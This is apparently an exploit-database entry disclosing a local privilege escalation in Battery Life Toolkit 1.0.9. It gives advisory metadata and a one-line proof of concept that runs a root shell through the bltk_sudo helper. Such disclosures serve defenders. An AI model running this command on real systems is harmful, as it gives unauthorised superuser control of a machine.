Battery Life Toolkit 1.0.9 - 'bltk_sudo' Local Privilege Escalation

Author: Matthew Garrett
type: local
platform: linux
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date_added: 2010-01-28 
date_updated: 2014-05-30 
verified: 1 
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source: https://www.securityfocus.com/bid/37996/info

Battery Life Toolkit (BLTK) is prone to a local privilege-escalation vulnerability.

A local attacker can exploit this issue to execute arbitrary code with superuser privileges, resulting in the complete compromise of the affected computer.

This issue affects BLTK 1.0.9; other versions may be vulnerable as well.

The following proof of concept is available:

/usr/lib/bltk/bin/bltk_sudo /bin/bash